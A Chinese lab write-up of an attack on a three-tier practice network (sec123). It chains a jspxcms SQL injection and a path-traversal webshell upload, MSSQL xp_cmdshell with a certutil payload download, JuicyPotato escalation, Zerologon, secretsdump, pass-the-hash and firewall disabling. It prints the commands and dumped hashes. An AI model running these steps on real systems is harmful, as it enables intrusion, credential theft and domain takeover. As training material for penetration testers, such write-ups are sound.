三层内网 外网打点到内网域 sec123

首先先搭建环境,这一步跳过

在这里我模拟互联网IP为192.168.0.101

goby开扫:

18个端口,其中web6个

依次打开,两个Not Found,一个jspxcms,一个银行系统,一个考试系统,还有个阿帕奇默认页面

优先查看CMS历史漏洞,发现一个RCE,具体教程如下

https://mp.weixin.qq.com/s/dHKrq4UCqmJ8hKYaUIbPPQ

尝试能不能RCE

使用历史漏洞提供的马子和API接口,发现能够正常RCE

但是尝试上传马子的时候,存在路径,但是尝试访问404

看来直接上码不太现实,看看他的RCE能不能搞点事情

测了一下,基本上想搞事的命令全500了,3个登录系统的弱口令也爆破过了,还是没有什么东西,查了一个jspxcms的历史漏洞,上RCE马的需要进后台,一般后台上马的靶场,不是源码信息存在泄露,就是前台有SQL注入能够拿到密码

注册了一个TomExam账号,然后在里面疯狂注入

最后试出来了

GET /page.do?action=comm_news&act=list&classid=2 HTTP/1.1
Host: 192.168.0.101:8088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.101:8088/page.do?action=comm_news&act=readthread&id=4
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: _jspxcms=017147f5462245f79fdaba6507afaf29; JSESSIONID=06FBB501704D05CDDCFB93717D1EF9E5
Connection: close

发现可以查看3个库,结合之前发现的jspxcms管理员后台是可以通过压缩包上传webshell的,优先查看

一共有107个表,主要是看用户表,cms_user

主要拿用户名,密码,盐

-D jspxcms -T cms_user -C f_username,f_password,f_salt --dump --batch --level 3

一看一堆数据看不见,第一次知道–dump原来有匹配数据失误的情况,重新执行一次

admin | 51c52ae56562d8c538600385909595b009467f0b | 9b2b38ad7cb62fd9

但是好像。。没啥用,本质上还是需要进行暴力破解,然后对比拿到的加盐密码,如果这个是不是弱口令,那就根本没办法了,可是我如果本来就有弱口令的密码,我直接爆破进去都行,看了其他人写的教程,这个弱口令我字典根本没出现过,这一步跳过,直接提供密码:zzz123zzz

现在是登录后台,先爆破一下后台路径/cmscp/index.do

成功到达后台

跟着步骤走,先生成个war包,然后跨目录zip包,上传解压

import zipfile
zip = zipfile.ZipFile("test.zip",'w',zipfile.ZIP_DEFLATED)
with open("shell.war","rb") as f:
    data=f.read();
    zip.writestr("../../../shell.war",data)
    zip.close()

最后得到的路径为abc/shell.jsp

成功上码

先看看IP,然后上个fscan一把梭

扫到128的一个mssql的弱口令,看账号应该是sa,sa的话,mssql的sa基本上就是shell,但是需要一些操作才能使用,有do_owner的角色也可以getshell

sa/admin123

上kali挂个代理

sudo vi /etc/proxychains4.conf

socks5 vpsIP 端口 账号 密码

保存,之后所有的脚本均使用proxychains4执行

在python工具包中,存在一个impacket ,该工具包可以直接连接mssql

安装命令:
sudo apt-get install python3-impacket
使用命令:
找到mssql连接的文件(一般用于不是全局变量的时候)
find / -name mssqlclient.py
运行:
proxychains4 python3 /path/mssqlclient.py 用户名@IP

在这里的命令是(顺带提个醒,如果网段已经在本地环境中存在,并且内网环境中也存在,使用Proxifier代理的时候,会出现冲突,无法在内网环境中成功代理,为了避免这个情况,我使用了kali的proxychains4)

proxychains4 /usr/share/doc/python3-impacket/examples/mssqlclient.py [email protected]

连接成功后,尝试使用xp_cmdshell,发现并没有启用,但是我们是sa权限,可以通过命令开启

开启xp_cmdshell
enable_xp_cmdshell
执行命令
xp_cmdshell whoami

成功执行命令,发现权限为mssqlserver,还需要提权

先给这台机器上个马,由于没有通外网,并且只有一个mssql,所以马子上传通过在边缘服务器搭建一个http服务(这里用go写的代码,搭了一个文件服务器)

然后马子需要更新一下,通过中转机器进入内网,大概如下,并不是直接通过Y连接内网

点击目标,转发上线,创建一个监听(这个监听地址一定要是与目标IP同一个网段,否则上线会失败!!):


下载马子至缓存文件中
xp_cmdshell certutil -urlcache -split -f http://192.168.1.126:15555/abc.exe c:/windows/temp/ying.exe

运行马子上线
xp_cmdshell c:/windows/temp/ying.exe

此时马子正常上线

先看看权限

whoami

不是管理员,看看补丁情况

shell systeminfo

复制出来,贴进下面的web中:

https://tools.zjun.info/getmskb

根据系统来选择相应的提权漏洞,在这里常见的是MS17010(永恒之蓝) MS16-075(烂土豆),由于永恒之蓝被修复,在这里尝试使用烂土豆

先给CS下个插件https://github.com/johnjohnsp1/reflectivepotato

下载.cna插件,然后加入脚本管理器中

选择提权

提不了一点,每次打靶场都这样,这个插件能选转发上线的监听,但是提权失败,其他的插件只能选VPS,但是又能提权成功,上传个exe执行命令算了。

https://github.com/shanfenglan/test/tree/master/juicypotato

从这里下载烂番茄web的那个exe

然后传上去,跟着马子一起传,执行命令

shell C:\Users\MSSQLSERVER\JuicyPotatoweb.exe -p C:\Users\MSSQLSERVER\abcd.exe
相当于提权后再次执行码子,以管理员权限上线

提权成功

收集信息,上fscan扫扫,应该是10.10.10.1网段

接下来就是域渗透步骤

域渗透

基础信息收集

route print     # 查看路由信息
arp -a  # 查看域中所有的设备
ipconfig /all    # 判断当前是否在域环境中,看dns后缀和dns服务器
ping "域名"
net time /domain       #查看系统时间(判断主域)

域渗透基本思路:

  • 获取域控权限
    • 通过域控相关漏洞
    • 抓hash,尤其是域管理员、运维等高权限账号的哈希
  • 控制入域机器
    • 下发恶意策略控制
    • 获取域内用户凭证
    • 利用错误的域管理配置
    • 域内relay
  • 获取服务票据
    • 攻击Exchange等服务器

漏洞利用:

域用户提权 (CVE-2022-26923)
KDC bamboozling (CVE-2021-42287)
Name impersonation (CVE-2021-42278)
ProxyShell (CVE-2021-34473)(需要有Exchange服务器)
ProxyLogon (CVE-2021-26855)(需要有Exchange服务器)
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
SMBGhost (CVE-2020-0796)
Zerologon (CVE-2020-1472)
NTLM Relay (CVE-2019-1040)
永恒之蓝 (MS17-010)
域用户提权 (MS14-068)
Gpp漏洞 (MS14-025)
SAMR协议漏洞 (MS14-016)

常用攻击手段:

黄金票据利用(需要KRBTGT帐户的NTLM哈希或AES密钥,通常是DCSync攻击或其他方式获取此哈希)

白银票据利用(需要服务帐户的NTLM哈希或AES密钥,该服务帐户对应于目标服务的SPN)

DCSync 攻击(需要获得域管理员或拥有复制权限的帐户访问权限)

DCShadow 攻击(需要具有域管理员或企业管理员权限,以便注册伪造的DC)

哈希传递攻击(需要获得一个有效用户的NTLM哈希,通常通过内存提取工具如Mimikatz获取)

票据传递攻击(需要访问目标用户的Kerberos票据)

Kerberoasting Attacks(需要能够请求目标服务的TGS)

Roasting AS-REP(需要识别域中存在不要求预身份验证的用户帐户)

Kerberos Delegation Attacks(委派攻击)(需要获得可利用的委派设置,尤其是不受限制的委派)

通过Mimikatz拿到了NTLM哈希:

1dd96e0a2861a9a84d88b6c7c3f3c1a3

但是,两台机器的域,基本上不用考虑常用攻击手段了(因为基本上的都用不了,加上我还菜),上漏洞利用先走一遍算了(主打一个熟悉流程)

域用户提权 (CVE-2022-26923)
Mimikatz来检查目标系统的证书配置是否存在可以被利用的漏洞
工具:Mimikatz

KDC bamboozling (CVE-2021-42287)
查看Kerberos事件日志中的异常SPN请求或者使用已知的利用工具对域进行攻击测试。
工具:Kerberos相关工具(如Rubeus)。

Name impersonation (CVE-2021-42278)
使用PowerShell脚本或Kerberos攻击工具(如Rubeus)来尝试通过计算机账户的名称进行冒充。
工具:Rubeus

ProxyShell (CVE-2021-34473)(需要有Exchange服务器)
ProxyLogon (CVE-2021-26855)(需要有Exchange服务器)
工具:ExchangeScan

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
工具:公开POC代码
CVE-2021-1675(可用于提权)


SMBGhost (CVE-2020-0796)
工具:SMBGhost POC

Zerologon (CVE-2020-1472)
工具:Zerologon POC

NTLM Relay (CVE-2019-1040)
工具:Impacket工具集(ntlmrelayx.py)、Responder

永恒之蓝 (MS17-010)
工具:Fscan

域用户提权 (MS14-068)
工具:Mimikatz

Gpp漏洞 (MS14-025)
工具:GPP Password Reader工具、PowerSploit


SAMR协议漏洞 (MS14-016)
工具:Impacket工具集(samrdump.py)

以上是相关漏洞利用工具,先从简单的来,能找到POC的先利用POC

CVE-2021-1675 / CVE-2021-34527,CVE-2020-0796,CVE-2020-1472

CVE-2021-1675 / CVE-2021-34527

(需要目标开启Spooler服务,本地需要搭建一个smb文件服务器,且需要能够匿名访问,且本地至少是普通权限的域用户)

服务器开启了135端口,证明Spooler服务(一般是Windows 的打印机服务的端口)已经开启,尝试攻击

使用三好学生的脚本搭建匿名SMB服务器:https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

执行命令:

CS中要使用powershell而不是shell
共享文件需要自己弄,并且共享文件中需要存在dll
powershell IEX (Get-Content 'C:\Users\Administrator\Invoke-BuildAnonymousSMBServer.ps1' -Raw); Invoke-BuildAnonymousSMBServer -Path C:\Users\Administrator\shell -Mode Enable


禁用:
powershell IEX (Get-Content 'C:\Users\Administrator\Invoke-BuildAnonymousSMBServer.ps1' -Raw); Invoke-BuildAnonymousSMBServer -Path C:\Users\Administrator\shell -Mode Disable

下载POC:https://github.com/cube0x0/CVE-2021-1675

用法:

python3 CVE-2021-1675.py 普通域用户:域用户密码@DC的IP地址 '开启的匿名访问'

例如:
python3 CVE-2021-1675.py chinaJoy1.com/hack:admin@[email protected] '\\192.168.43.194\smb\reverse.dll'

这个需要挂上代理,这边用kali运行(先CS弄个代理,再用kali连上去)

proxychains4 ./CVE-2021-1675.py -hashes :1dd96e0a2861a9a84d88b6c7c3f3c1a3 SEC123/[email protected] '\\10.10.10.136\smb\abcd.dll'

运行后没有发现这个漏洞,应该是打上对应补丁了(或者防火墙拦住了?),下一个

并且我出现本地环境出现问题的情况,那个CVE的相关教程害人不浅,让我重装impacket,导致我现在kali的python环境都乱了,我重装kali了

CVE-2020-0796(永恒之黑,不稳定,会导致蓝屏,慎用)

windows工具:

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

linux工具:

https://github.com/dickens88/cve-2020-0796-scanner

测试没有发现这个漏洞,应该是打过补丁了

CVE-2020-1472

该漏洞会把域控密码设置为空,从而导出hash,掌握域控

我去公众号搂过来个工具:


### 探测
python zerologon_tester.py AD01 10.10.10.139

### 置空(在域中,DC$空hash会导致脱域,所以置空后要PTH连上DC,并关闭防火墙,还原hash)
python set_empty_pw.py AD01 10.10.10.139

### 获取 hashes
secretsdump.exe sec123/[email protected] -no-pass

安装个最新的impacket,直接windows跑

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .

发现存在该漏洞

尝试下一步,准备置空密码

置空成功,准备抓取密码

secretsdump.exe sec123/[email protected] -no-pass

成功抓到hash

AD密码:

本地密码:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::
域控密码
AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

成功置空

尝试PTH连上去(这里应该使用本地密码登录)

执行命令登录域控

https://github.com/XiaoliChan/wmiexec-Pro

python wmiexec-pro.py -hashes aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74 sec123/[email protected] exec-command -command "whoami"

先看防火墙情况

netsh advfirewall show allprofiles              # 查看防火墙状态
netsh advfirewall set allprofiles state off     # 关闭防火墙

用CS的PTH连AD

pth 域名/用户名 NTLM哈希

pth sec123\Administrator 81220c729f6ccb63d782a77007550f74

成功连接AD

创建一个正向shell

(正向一般是登录上了目标机器,但是没有上传后门,主动上传后门连接的情况,而反向就是马子上传到目标机器后,运行后反过来连接CS的情况)

在PTH连接后的马子中传入后门:
jump psexec64 10.10.10.139 ZX

成功上线,但是渗透还没结束,要先还原hash

通过reg注册表导出hash来获取AD01$的hash,然后再还原hash(默认连接是C盘,不能直接导,会卡住死,)

shell reg save HKLM\SYSTEM c:\Users\Administrator\system.save
shell reg save HKLM\SAM c:\Users\Administrator\sam.save
shell reg save HKLM\SECURITY c:\Users\Administrator\security.save

然后下载下来(马子都上了,直接去找文件下载)

运行secretsdump.exe 读取NTLM哈希

secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL
得到:
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:7ec43d6b2c079eccdc3bfe5e66839acf
NTLM哈希是:7ec43d6b2c079eccdc3bfe5e66839acf

挂上代理,通过python脚本去还原密码:

python reinstall_original_pw.py ad01 10.10.10.139 7ec43d6b2c079eccdc3bfe5e66839acf

还原成功,抓一次密码测试一下

还原成功

渗透结束

CS的payload大致介绍(目前是GPT写的,后面会人工优化一下)

Beacon DNS: 通过DNS协议进行C2通信。通常用于网络环境中防火墙对HTTP/HTTPS严格限制的场景,因为DNS流量常常被忽略或允许。
Beacon HTTP/HTTPS: 通过HTTP或HTTPS协议进行C2通信。这是最常用的反向Shell,模仿正常的网页流量,很难被防火墙察觉。
Beacon SMB: 利用SMB协议进行横向渗透,通常用于内网中机器之间的通信。
Beacon TCP: 使用普通的TCP连接进行通信,较为灵活,可以在内外网环境中使用,但容易被网络设备检测到。
External C2: 允许使用自定义的C2通信协议或框架,通常由高级渗透测试者使用。
Foreign HTTP/HTTPS: 这些是针对第三方的C2基础设施,通过HTTP/HTTPS协议与外部服务器通信。

PTH是Pass-The-Hash 的缩写,是横向渗透常用技术。。在传统的身份验证过程中,系统不需要每次验证时都传输明文密码,而是通过密码哈希值来验证用户的身份。

PTH常用SMB(445端口),RPC(135端口),WMI(49152到65535范围内,但初始通信用135),RDP(3389),LDAP(389明文通信,636LDAPS,SSL加密通信)WinRM(TCP 5985(HTTP),TCP 5986(HTTPS))